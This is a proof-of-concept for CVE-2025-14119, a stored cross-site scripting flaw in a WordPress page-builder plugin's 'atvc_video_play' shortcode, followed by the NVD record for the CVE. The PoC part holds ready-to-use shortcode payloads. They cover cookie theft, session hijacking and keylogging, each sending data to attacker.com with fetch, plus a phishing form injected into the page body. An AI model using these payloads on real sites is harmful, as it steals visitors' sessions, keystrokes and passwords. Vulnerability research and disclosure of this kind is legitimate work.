CVE-2025-14119

<!-- CVE-2025-14119 PoC - Stored XSS via atvc_video_play shortcode --> <!-- Requires contributor-level access or higher on WordPress site --> <!-- Attack vector: Inject malicious JavaScript through shortcode attributes --> <!-- Basic PoC - Inject alert with cookie stealing --> [atvc_video_play video_url='https://example.com/video.mp4' onmouseover='alert(document.cookie)'] <!-- Advanced PoC - Session hijacking --> [atvc_video_play video_url='x' onmouseover='fetch("https://attacker.com/steal?c="+document.cookie)'] <!-- PoC - Keylogger --> [atvc_video_play video_url='x' onfocus='document.addEventListener("keypress",function(e){fetch("https://attacker.com/log?k="+e.key)})'] <!-- PoC - DOM manipulation for phishing --> [atvc_video_play video_url='x' onload='document.body.innerHTML="<h1>Phishing Page</h1><form action='https://attacker.com/phish'><input name='pwd'><button>Login</button></form>"']

{"cve": {"id": "CVE-2025-14119", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:47.230", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The App Landing Template Blocks for WPBakery (Visual Composer) Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'atvc_video_play' shortcode in all versions up to, and including, 2.0.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/app-template-blocks-for-wpbakery-page-builder/tags/2.0.2/modules/video-play.php#L58", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/app-template-blocks-for-wpbakery-page-builder/trunk/modules/video-play.php#L58", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5c440ae0-311d-4d0a-a216-7641c2a80669?source=cve", "source": "[email protected]"}]}}